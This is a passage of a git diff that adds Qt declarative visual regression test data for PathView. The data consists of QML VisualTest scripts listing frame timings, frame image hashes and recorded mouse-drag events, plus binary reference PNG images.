+ hash: "8dd67df95fae14079ed5b83c421a5b6e"
+ }
+ Frame {
+ msec: 3024
+ hash: "7b217f7c51087a07e8922b0286b2c1dc"
+ }
+ Frame {
+ msec: 3040
+ hash: "e464b5121f3204c64cafe2f5e31cf497"
+ }
+ Frame {
+ msec: 3056
+ hash: "7fc2018f8db17b65fd01b2ddfa44f66d"
+ }
+ Frame {
+ msec: 3072
+ hash: "a5d1871511eac7224292b3552da466a8"
+ }
+ Frame {
+ msec: 3088
+ hash: "2f0a55cf3cd30da77fbb73e749b729a3"
+ }
+ Frame {
+ msec: 3104
+ hash: "9aab649b6664c179878d0ead438dd751"
+ }
+ Frame {
+ msec: 3120
+ hash: "9506c95e1febf3d781e6b1dbbaf640d3"
+ }
+ Frame {
+ msec: 3136
+ hash: "e73b4fd7cb6285df9a77d666f25ab245"
+ }
+ Frame {
+ msec: 3152
+ hash: "adef134dc735305b673c6fa47a3d1a34"
+ }
+ Frame {
+ msec: 3168
+ hash: "04fc6aac5f090960cd87eefb4273fb0f"
+ }
+ Frame {
+ msec: 3184
+ hash: "294c842a71b5e4927146952ce865c8a2"
+ }
+ Frame {
+ msec: 3200
+ hash: "ac6f7afb4a5e67e2edd8300e7dfdff13"
+ }
+ Frame {
+ msec: 3216
+ hash: "036d247dd83e0fbfe4f65cbd79e9ab57"
+ }
+ Frame {
+ msec: 3232
+ hash: "959270d536187e6b669263a57b260e78"
+ }
+ Frame {
+ msec: 3248
+ hash: "ca457a1c503a980687926e31ac16995b"
+ }
+ Frame {
+ msec: 3264
+ hash: "42a9b43e2c66a5ef32c8b6564235c623"
+ }
+ Frame {
+ msec: 3280
+ hash: "b2a071734226b905f6c6f5652f645517"
+ }
+ Frame {
+ msec: 3296
+ hash: "cf5c7868e399fadac1642f47a0b4dbd2"
+ }
+ Frame {
+ msec: 3312
+ hash: "9c689254f44a6ced1c4962400613d4da"
+ }
+ Frame {
+ msec: 3328
+ hash: "9cfe0627852cefe67fc0b44b31085b4a"
+ }
+ Frame {
+ msec: 3344
+ hash: "de7ab5230efb63264f76fa1f1b61dcfa"
+ }
+ Frame {
+ msec: 3360
+ hash: "5ad22cf9e1c9a02cfc570beaac55bee0"
+ }
+ Frame {
+ msec: 3376
+ hash: "9e6210d9e6bfda4fe0695b75d03435e2"
+ }
+ Frame {
+ msec: 3392
+ hash: "d3989a9fb7e99d16032fa1842364f2ed"
+ }
+ Frame {
+ msec: 3408
+ hash: "f65c57211997139ae1473951333d7b35"
+ }
+ Frame {
+ msec: 3424
+ hash: "16bb17f511519337be2e60d8b9f95149"
+ }
+ Frame {
+ msec: 3440
+ hash: "819250fd9899a9457a9300f942f4d8bf"
+ }
+ Frame {
+ msec: 3456
+ hash: "191115950915abcb338c3f4c17595840"
+ }
+ Frame {
+ msec: 3472
+ hash: "14b553132a86e57577c416e6f6c53433"
+ }
+ Frame {
+ msec: 3488
+ hash: "f7a95239db44b66698d29f0daae826f1"
+ }
+ Frame {
+ msec: 3504
+ hash: "b5a6abb5294fb9b069ab8a075003cb61"
+ }
+ Frame {
+ msec: 3520
+ hash: "391c1c43ce893aeefc42d164e6e8aaac"
+ }
+ Frame {
+ msec: 3536
+ hash: "271addef36d51d904bc1d68f65b66de3"
+ }
+ Frame {
+ msec: 3552
+ hash: "73a23e56edcd64ac6147aff27b785ebb"
+ }
+ Frame {
+ msec: 3568
+ hash: "bd43145ae22086348cb5e68765a42ac1"
+ }
+ Frame {
+ msec: 3584
+ hash: "e9de53c430f9de55146ac6606d55d427"
+ }
+ Frame {
+ msec: 3600
+ hash: "6420fd46fd8068010d3caaa68eea457e"
+ }
+ Frame {
+ msec: 3616
+ hash: "188499a79313d984ed1d710329b0237f"
+ }
+ Frame {
+ msec: 3632
+ hash: "12da197320858ea4f8a1437b7ceac95a"
+ }
+ Frame {
+ msec: 3648
+ hash: "a44936319089e2379de34edf58b453c1"
+ }
+ Frame {
+ msec: 3664
+ hash: "c894ceaf318dd1afe29dcfe171aadf0f"
+ }
+ Frame {
+ msec: 3680
+ hash: "deea3a520f3fe43bf92f05a25f791458"
+ }
+ Frame {
+ msec: 3696
+ hash: "176381c4acfacecd0d203b7ad8fbd7d4"
+ }
+ Frame {
+ msec: 3712
+ hash: "0c6eec50abcf4afc20311ffa1326d4e8"
+ }
+ Frame {
+ msec: 3728
+ hash: "21f2e0c3ba2142d1baae9406858f1cea"
+ }
+ Frame {
+ msec: 3744
+ hash: "21f2e0c3ba2142d1baae9406858f1cea"
+ }
+ Frame {
+ msec: 3760
+ hash: "21f2e0c3ba2142d1baae9406858f1cea"
+ }
+ Frame {
+ msec: 3776
+ hash: "21f2e0c3ba2142d1baae9406858f1cea"
+ }
+ Frame {
+ msec: 3792
+ hash: "21f2e0c3ba2142d1baae9406858f1cea"
+ }
+ Frame {
+ msec: 3808
+ hash: "21f2e0c3ba2142d1baae9406858f1cea"
+ }
+ Frame {
+ msec: 3824
+ hash: "21f2e0c3ba2142d1baae9406858f1cea"
+ }
+ Frame {
+ msec: 3840
+ hash: "21f2e0c3ba2142d1baae9406858f1cea"
+ }
+ Frame {
+ msec: 3856
+ image: "test-pathview-2.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "21f2e0c3ba2142d1baae9406858f1cea"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 363; y: 156
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3888
+ hash: "e66b75e5644018aecd321e498de08ca1"
+ }
+ Frame {
+ msec: 3904
+ hash: "e66b75e5644018aecd321e498de08ca1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 363; y: 157
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3920
+ hash: "eb346d68bd5b51a31ee2f5d807970d96"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 361; y: 158
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 358; y: 158
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3936
+ hash: "ffd30479d99b19926072fa94cdec6195"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 352; y: 159
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3952
+ hash: "207efe4cbcebaedca1d2fc6726d46543"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 349; y: 160
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 342; y: 162
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3968
+ hash: "f011a043293362d5affcbcdfe3c93131"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 327; y: 166
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3984
+ hash: "934ed8956abae51fd19352f23ef9a16a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 320; y: 168
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 320; y: 168
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4000
+ hash: "0daf00b242485319f5c9050b9cdb6775"
+ }
+ Frame {
+ msec: 4016
+ hash: "8111f56ae5cfcf1d6c934e134602a8dc"
+ }
+ Frame {
+ msec: 4032
+ hash: "6f3f6c2ae3c36401d1d96a37bbd62c52"
+ }
+ Frame {
+ msec: 4048
+ hash: "11cde9b9369addaa5ff140e3a0bbf9ac"
+ }
+ Frame {
+ msec: 4064
+ hash: "fefd7d44805c330c606fcc23b691832e"
+ }
+ Frame {
+ msec: 4080
+ hash: "b9eb8f8a78485deafc04a9bac39e5c31"
+ }
+ Frame {
+ msec: 4096
+ hash: "f0be22ea55a6a9621718cb5e1b55e6f7"
+ }
+ Frame {
+ msec: 4112
+ hash: "cb0d62b8c16406a0ff35feea3ff074b9"
+ }
+ Frame {
+ msec: 4128
+ hash: "15bf986b1e4072ce48ef40651e11a93a"
+ }
+ Frame {
+ msec: 4144
+ hash: "d29f81f0c8468ea045f1c21adca8c0e6"
+ }
+ Frame {
+ msec: 4160
+ hash: "577f27fd6212bbb7394b64b0872d7e6e"
+ }
+ Frame {
+ msec: 4176
+ hash: "f26c83a4ede9e04ceabf276fd2eeaa4d"
+ }
+ Frame {
+ msec: 4192
+ hash: "34f449f3c29c4b0bb0972e8d3510452c"
+ }
+ Frame {
+ msec: 4208
+ hash: "5cf950b9f0bb8c851a2865718bd3e6ec"
+ }
+ Frame {
+ msec: 4224
+ hash: "202b5c9cd1717dfef0d1f667ca115571"
+ }
+ Frame {
+ msec: 4240
+ hash: "5d703db8af0eeba0327177f79b0fd85b"
+ }
+ Frame {
+ msec: 4256
+ hash: "69e4fdbaba2ad4983edcbaad0ccfa905"
+ }
+ Frame {
+ msec: 4272
+ hash: "c91389bd9e9c7fce2a8e5ffca851cf89"
+ }
+ Frame {
+ msec: 4288
+ hash: "5e2b94dda5af845a368032cc85e3167f"
+ }
+ Frame {
+ msec: 4304
+ hash: "5946e2bd9a32130fed9612d6152b7ddd"
+ }
+ Frame {
+ msec: 4320
+ hash: "74f13b9111005e610028ea252132c1fc"
+ }
+ Frame {
+ msec: 4336
+ hash: "ba2a587b26fd3d92a368e3b63513e145"
+ }
+ Frame {
+ msec: 4352
+ hash: "2047ecb0be3173846b7c09b7054bad07"
+ }
+ Frame {
+ msec: 4368
+ hash: "db6993dfaad694f812130c112e9c78b6"
+ }
+ Frame {
+ msec: 4384
+ hash: "aea54cad7368b8511412f4d9fd1e8b07"
+ }
+ Frame {
+ msec: 4400
+ hash: "431d140c8e9a61f6c1fe7a044900b4b7"
+ }
+ Frame {
+ msec: 4416
+ hash: "ed80bccd69ebd4326b01fdf46b56dd52"
+ }
+ Frame {
+ msec: 4432
+ hash: "edd82b44bd2813f2bf20bbf8be4ad10d"
+ }
+ Frame {
+ msec: 4448
+ hash: "527b3fb45d585f70ef2ef2e78d2fff05"
+ }
+ Frame {
+ msec: 4464
+ hash: "00b68c12c6cef0b523eeef8c7556a26c"
+ }
+ Frame {
+ msec: 4480
+ hash: "37c62b1c2c3d70220b1d7b28a57de0a5"
+ }
+ Frame {
+ msec: 4496
+ hash: "e73843907eb7ee18c59b5fe98022f542"
+ }
+ Frame {
+ msec: 4512
+ hash: "139d84bfdefd825a89ddd4150a72fa9f"
+ }
+ Frame {
+ msec: 4528
+ hash: "779690a2e5291b7d64ceed193bf8e572"
+ }
+ Frame {
+ msec: 4544
+ hash: "4ffd9beb48bd769d9e3b8ad3aedff08b"
+ }
+ Frame {
+ msec: 4560
+ hash: "b1edf784de34b42bd74390836db976b9"
+ }
+ Frame {
+ msec: 4576
+ hash: "78327706741822e6ba8b0b88be469422"
+ }
+ Frame {
+ msec: 4592
+ hash: "32979d6f14c1aeca1f7ac0c5a330bbdc"
+ }
+ Frame {
+ msec: 4608
+ hash: "8274a35f384478ca2f018c5d914d428d"
+ }
+ Frame {
+ msec: 4624
+ hash: "70f4b77c65450eddfa61ebdf2dc75985"
+ }
+ Frame {
+ msec: 4640
+ hash: "2f95623085afc48094f122c290566440"
+ }
+ Frame {
+ msec: 4656
+ hash: "8f671bd7878b897593eb8ae0358c8a01"
+ }
+ Frame {
+ msec: 4672
+ hash: "64cf5c749c85d0e42b6c99f31da955b8"
+ }
+ Frame {
+ msec: 4688
+ hash: "22e3394e779e25cc0d6c05bd2c6159d5"
+ }
+ Frame {
+ msec: 4704
+ hash: "42bc5633692228e48aa3ce3e3d8a7bbe"
+ }
+ Frame {
+ msec: 4720
+ hash: "4dd05fce6984dbc6b6764b5e4189fd94"
+ }
+ Frame {
+ msec: 4736
+ hash: "ca7b9bc30c728268b338848230a5a859"
+ }
+ Frame {
+ msec: 4752
+ hash: "ca7b9bc30c728268b338848230a5a859"
+ }
+ Frame {
+ msec: 4768
+ hash: "ca7b9bc30c728268b338848230a5a859"
+ }
+ Frame {
+ msec: 4784
+ hash: "ca7b9bc30c728268b338848230a5a859"
+ }
+ Frame {
+ msec: 4800
+ hash: "ca7b9bc30c728268b338848230a5a859"
+ }
+ Frame {
+ msec: 4816
+ image: "test-pathview-2.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "ca7b9bc30c728268b338848230a5a859"
+ }
+ Frame {
+ msec: 4848
+ hash: "ca7b9bc30c728268b338848230a5a859"
+ }
+ Frame {
+ msec: 4864
+ hash: "ca7b9bc30c728268b338848230a5a859"
+ }
+ Frame {
+ msec: 4880
+ hash: "ca7b9bc30c728268b338848230a5a859"
+ }
+ Frame {
+ msec: 4896
+ hash: "ca7b9bc30c728268b338848230a5a859"
+ }
+ Frame {
+ msec: 4912
+ hash: "ca7b9bc30c728268b338848230a5a859"
+ }
+ Frame {
+ msec: 4928
+ hash: "ca7b9bc30c728268b338848230a5a859"
+ }
+ Frame {
+ msec: 4944
+ hash: "ca7b9bc30c728268b338848230a5a859"
+ }
+ Frame {
+ msec: 4960
+ hash: "ca7b9bc30c728268b338848230a5a859"
+ }
+ Frame {
+ msec: 4976
+ hash: "ca7b9bc30c728268b338848230a5a859"
+ }
+ Frame {
+ msec: 4992
+ hash: "ca7b9bc30c728268b338848230a5a859"
+ }
+ Frame {
+ msec: 5008
+ hash: "ca7b9bc30c728268b338848230a5a859"
+ }
+ Frame {
+ msec: 5024
+ hash: "ca7b9bc30c728268b338848230a5a859"
+ }
+ Frame {
+ msec: 5040
+ hash: "ca7b9bc30c728268b338848230a5a859"
+ }
+ Frame {
+ msec: 5056
+ hash: "d30be31c0f9d92aeba83ce345551005a"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.0.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.0.png
new file mode 100644
index 00000000..af0e7817
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.1.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.1.png
new file mode 100644
index 00000000..d3e98dcb
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.2.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.2.png
new file mode 100644
index 00000000..9c6c1c3f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.3.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.3.png
new file mode 100644
index 00000000..fc1574a2
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.4.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.4.png
new file mode 100644
index 00000000..f76ae14a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.5.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.5.png
new file mode 100644
index 00000000..f6b8e83c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.6.png b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.6.png
new file mode 100644
index 00000000..d7b5943f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.qml b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.qml
new file mode 100644
index 00000000..32c2a15f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepathview/data/test-pathview.qml
@@ -0,0 +1,2567 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "test-pathview.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 48
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 64
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 80
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 96
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 112
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 128
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 144
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 160
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 176
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 192
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 208
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 224
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 240
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 256
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 272
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 288
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 304
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 320
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 336
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 352
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 368
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 384
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 400
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 416
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 432
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 448
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 464
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 480
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 496
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 512
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 528
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Frame {
+ msec: 544
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 363; y: 161
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 560
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 362; y: 160
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 576
+ hash: "b9fed927475786f6f7aefc554cfc1afe"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 361; y: 159
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 357; y: 159
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 592
+ hash: "683d9f54c75f5b1ed082edb0b4559bc8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 348; y: 157
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 330; y: 157
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 608
+ hash: "02e5238c0764f370d0f463cc3f477df7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 286; y: 161
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 624
+ hash: "02239cd84ce630a89b94dbcf469d9a70"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 254; y: 163
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 640
+ hash: "51c14d87d2cf89aaece5bd682008f67f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 240; y: 165
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 225; y: 167
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 656
+ hash: "db00a0d69efd43f69c83dafbf38a06a6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 191; y: 171
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 672
+ hash: "1bfd848a89a0477596b77903a173f728"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 174; y: 171
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 153; y: 171
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 153; y: 171
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 688
+ hash: "f66f04b42b0db33b852a82030d647886"
+ }
+ Frame {
+ msec: 704
+ hash: "e1573c6fd92f0fc4e267a37f417d0bc0"
+ }
+ Frame {
+ msec: 720
+ hash: "017044987c781ad8bb4cd8242f9091ed"
+ }
+ Frame {
+ msec: 736
+ hash: "cd952ffa63dbcb772b666ce755c9a2f1"
+ }
+ Frame {
+ msec: 752
+ hash: "2a31778e3ab7c676ae82278948cef12a"
+ }
+ Frame {
+ msec: 768
+ hash: "cb9e1ef51c8367e0b8c71cfdb70906fa"
+ }
+ Frame {
+ msec: 784
+ hash: "05ccb24a2025df31188b413c8d837232"
+ }
+ Frame {
+ msec: 800
+ hash: "df31f9dba1a762397c0364d7e83052ef"
+ }
+ Frame {
+ msec: 816
+ hash: "6eec07606ef320072ea23ceedb3f6b29"
+ }
+ Frame {
+ msec: 832
+ hash: "e3502cb53c6e17373de3b718a8212f4d"
+ }
+ Frame {
+ msec: 848
+ hash: "c684dc3153314fe3a73fa0dd09f27695"
+ }
+ Frame {
+ msec: 864
+ hash: "f1d5e911a68f9922f29bb6ae14234da9"
+ }
+ Frame {
+ msec: 880
+ hash: "aa9c3122e3c2a7ed450a0afffbcf4e6a"
+ }
+ Frame {
+ msec: 896
+ hash: "1535dea92038cf87395a616841fd9bf6"
+ }
+ Frame {
+ msec: 912
+ hash: "1535dea92038cf87395a616841fd9bf6"
+ }
+ Frame {
+ msec: 928
+ hash: "1535dea92038cf87395a616841fd9bf6"
+ }
+ Frame {
+ msec: 944
+ hash: "1535dea92038cf87395a616841fd9bf6"
+ }
+ Frame {
+ msec: 960
+ hash: "1535dea92038cf87395a616841fd9bf6"
+ }
+ Frame {
+ msec: 976
+ image: "test-pathview.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "1535dea92038cf87395a616841fd9bf6"
+ }
+ Frame {
+ msec: 1008
+ hash: "1535dea92038cf87395a616841fd9bf6"
+ }
+ Frame {
+ msec: 1024
+ hash: "1535dea92038cf87395a616841fd9bf6"
+ }
+ Frame {
+ msec: 1040
+ hash: "1535dea92038cf87395a616841fd9bf6"
+ }
+ Frame {
+ msec: 1056
+ hash: "1535dea92038cf87395a616841fd9bf6"
+ }
+ Frame {
+ msec: 1072
+ hash: "1535dea92038cf87395a616841fd9bf6"
+ }
+ Frame {
+ msec: 1088
+ hash: "1535dea92038cf87395a616841fd9bf6"
+ }
+ Frame {
+ msec: 1104
+ hash: "1535dea92038cf87395a616841fd9bf6"
+ }
+ Frame {
+ msec: 1120
+ hash: "1535dea92038cf87395a616841fd9bf6"
+ }
+ Frame {
+ msec: 1136
+ hash: "1535dea92038cf87395a616841fd9bf6"
+ }
+ Frame {
+ msec: 1152
+ hash: "1535dea92038cf87395a616841fd9bf6"
+ }
+ Frame {
+ msec: 1168
+ hash: "1535dea92038cf87395a616841fd9bf6"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 378; y: 161
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1184
+ hash: "1535dea92038cf87395a616841fd9bf6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 376; y: 161
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1200
+ hash: "1535dea92038cf87395a616841fd9bf6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 374; y: 161
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 373; y: 161
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1216
+ hash: "aa9c3122e3c2a7ed450a0afffbcf4e6a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 367; y: 160
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 353; y: 160
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1232
+ hash: "b889647c08af7db2e6582d9927cb1cf7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 328; y: 157
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 303; y: 155
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1248
+ hash: "1cea77e58dbf1c9f321eab2f01f37be0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 280; y: 153
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 253; y: 151
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1264
+ hash: "b38c46d537e6e622c8a0ecae76dbe506"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 230; y: 151
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 211; y: 151
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1280
+ hash: "6261f2f16bdd89142cfbf1de4ce64a32"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 193; y: 153
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 193; y: 153
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1296
+ hash: "d4f8d57bae3d5bc888a4bbe2812b3fdf"
+ }
+ Frame {
+ msec: 1312
+ hash: "11717eaf13ac83760984afa47bbd52f7"
+ }
+ Frame {
+ msec: 1328
+ hash: "b20e244f27dae505568fcba25cccb5d8"
+ }
+ Frame {
+ msec: 1344
+ hash: "f31d264a002718787ea55a6312c7f9f2"
+ }
+ Frame {
+ msec: 1360
+ hash: "514d400cdc9c356a0de3c04649d885dc"
+ }
+ Frame {
+ msec: 1376
+ hash: "64fc0f18174f5e8002cf79a908cc08df"
+ }
+ Frame {
+ msec: 1392
+ hash: "ab04af0d0f0f0d4538ec58841306cea7"
+ }
+ Frame {
+ msec: 1408
+ hash: "5cbc813c467b453c3e8de177aaede5b6"
+ }
+ Frame {
+ msec: 1424
+ hash: "47e431bf01575c44f7c1fa3e20409866"
+ }
+ Frame {
+ msec: 1440
+ hash: "d17b62a0b52b4a5220b29b55f764abc6"
+ }
+ Frame {
+ msec: 1456
+ hash: "9bd0d8dfbee424bd0ccf72703a7c51c2"
+ }
+ Frame {
+ msec: 1472
+ hash: "8ef880c18ecd8adb66e7e0a2dceb61fc"
+ }
+ Frame {
+ msec: 1488
+ hash: "fcc1bc7f35342f595448ca2870478b50"
+ }
+ Frame {
+ msec: 1504
+ hash: "24421668a7814c3db8b7d1e50d2e9137"
+ }
+ Frame {
+ msec: 1520
+ hash: "b2a6acf1fed92069fd2779b1fa236c95"
+ }
+ Frame {
+ msec: 1536
+ hash: "7128a442b6bb06038477d46ac3da5021"
+ }
+ Frame {
+ msec: 1552
+ hash: "6a0ab3ccc3749b9a2b9a5b5851b0cf70"
+ }
+ Frame {
+ msec: 1568
+ hash: "18f6cdad215c55ea8335d06110715aa8"
+ }
+ Frame {
+ msec: 1584
+ hash: "137420f4b1f51440c3aefd18dbdad71d"
+ }
+ Frame {
+ msec: 1600
